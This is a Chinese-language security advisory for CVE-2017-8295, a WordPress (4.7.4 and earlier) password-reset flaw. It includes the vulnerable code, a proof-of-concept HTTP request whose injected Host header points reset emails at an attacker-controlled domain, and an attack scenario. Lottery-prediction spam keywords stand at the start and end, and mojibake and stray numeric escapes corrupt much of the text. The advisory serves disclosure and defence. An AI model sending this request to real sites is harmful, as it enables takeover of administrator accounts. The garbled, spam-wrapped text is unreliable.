双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析

WordPress曝未经授权的密码重置漏洞£¨CVE-2017-8295 £©

webmaster 2017-05-05 16:56:17

漏洞提交者£ºDawid Golunski

漏洞编号£ºCVE-2017-8295

发布日期£º2017-05-03

修订版本£º1.0

漏洞危害£º中/高

I. 漏洞

WordPress内核<= 4.7.4存在未经授权的密码重置(0day)

II. 背景

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统¡£截止2017年2月£¬Alexa排名前1000万的站点中约有27.5%使用该管理系统¡£据报道有超过6000万站点使用WordPress进行站点管理或者作为博客系统¡£

III. 介绍

WordPress的重置密码功能存在漏洞£¬在某些情况下不需要使用之前的身份令牌验证获取密码重置链接¡£    
该攻击可导致攻击者在未经授权的情况下获取用户Wordpress后台管理权限¡£

IV. 描述

该漏洞源于WordPress默认使用不可信的数据¡£当生成一个密码重置邮件时应当是仅发送给与帐户相关联的电子邮件¡£    
从下面的代码片段可以看出£¬在调用PHP mail()函数前创建了一个From email头 

------[ wp-includes/pluggable.php ]------

...

if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = '[email protected]' . $sitename;
}

...

-----------------------------------------

正如我们所看到的£¬Wordpress为了生成重置邮件创建的一个From/Return-Path(发件人/收件人)头£¬使用SERVER_NAME变量以获取服务器的主机名¡£   
 
然而£¬诸如Apache的主流web服务器默认使用由客户端提供的主机名来设置SERVER_NAME变量£¨参考Apache文档£©    
由于SERVER_NAME可以进行修改£¬攻击者可以?#25105;?#35774;置该值£¬例如attackers-mxserver.com    
这将导致Wordpress的$from_email变为[email protected]£¬最终导致包含From/Return-Path(发件人/收件人)设置的密码重置邮件发送到了该恶意邮件地址¡£    

至于攻击者可以修改哪那一封电子邮件的头信息£¬这取决于服务器环境£¨参考PHP文档£©    
基于邮件服务器的配置£¬可能导致被修改过邮件头的恶意收件人/发件人地址的电子邮件发送给WordPress用户¡£    
这使得攻击者能够在不需要进行交互就可以截取本该是需要进行交互才能进行的操作的密码重置邮件¡£ 

攻击场景£º

如果攻击者知道用户的电子邮件地址¡£为了让密码重置邮件被服务器拒收£¬或者无法到达目标地址¡£他们可以先对用户的电子邮件帐户进行DoS攻击£¨通过发?#25237;?#20010;超过用户?#25490;?#37197;额的大文件邮件或攻击该DNS服务器£©
某些自动回复可能会附加有邮件发送副本
发?#25237;?#23553;密码重置邮件给用户£¬迫使用户对这些没完没了的密码重置邮件进行回复£¬回复中就包含的密码链接会发送给攻击者¡£

V. POC

如果攻击者将类似下面的请求发送到默认可通过IP地址访问的Wordpress安装页面(IP-based vhost): 

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------

WordPress将触发管理员账户的密码重置功能    
由于修改了主机头£¬SERVER_NAME变量将被设置为攻击者所选择的主机名£¬因此Wordpress会将以下电子邮件头信息和正文传递给/usr/bin/sendmail 

------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

有人请求将以下账户的密码进行重置£º 

http://companyX-wp/wp/wordpress/
Username: admin

如果是弄错了£¬直接忽略该邮件就好¡£重置密码请访问以下地址£º 

http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E

正如我们看到的£¬Return-Path, From, 以及Message-ID字段都是攻击者控制的域    
通过bash脚本替换/usr/sbin/sendmail以执行头的验证£º 

#!/bin/bash
cat > /tmp/outgoing-email

VI. 业务影响

在利用成功的基础上£¬攻击者可重置用户密码并且未经授权获取WordPress账户访问权限¡£

VII. 系统影响

WordPress至最新版本4.7.4全部受影响

VIII. 解决方案

目前没有官方解决方案可用¡£作为临时解决方案£¬用户可以启用UseCanonicalName执行SERVER_NAME静态值£¨参考Apache£©

IX. 参考文献

https://legalhackers.com
https://ExploitBox.io

Vendor site:

https://wordpress.org
http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
http://php.net/manual/en/function.mail.php
https://tools.ietf.org/html/rfc5321



Ë«É«Çò°ÉÌù
双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析